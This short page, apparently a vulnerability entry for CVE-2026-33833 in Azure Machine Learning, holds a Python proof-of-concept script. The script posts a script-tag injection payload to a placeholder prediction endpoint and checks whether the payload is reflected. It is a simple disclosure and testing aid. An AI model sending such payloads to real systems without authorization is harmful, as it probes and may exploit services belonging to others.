CVE-2026-33833 Azure Machine Learning注入漏洞

import requests # Proof of Concept for CVE-2026-33833 # This script demonstrates sending a potential injection payload to the target endpoint. # Note: For educational and authorized testing purposes only. target_url = "https://<target-azure-ml-endpoint>/api/v1.0/predictions" # Payload designed to test improper neutralization in downstream output # Example: Attempting to inject a script or control character payload = { "data": "<script>alert('CVE-2026-33833_PoC')</script>" } headers = { "Content-Type": "application/json", "Authorization": "Bearer <token_if_required>" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") # Check if the payload is reflected un-sanitized in the response if "CVE-2026-33833_PoC" in response.text: print("[+] Potential vulnerability detected: Payload reflected in output.") else: print("[-] Payload not reflected or mitigated.") except Exception as e: print(f"Error: {e}")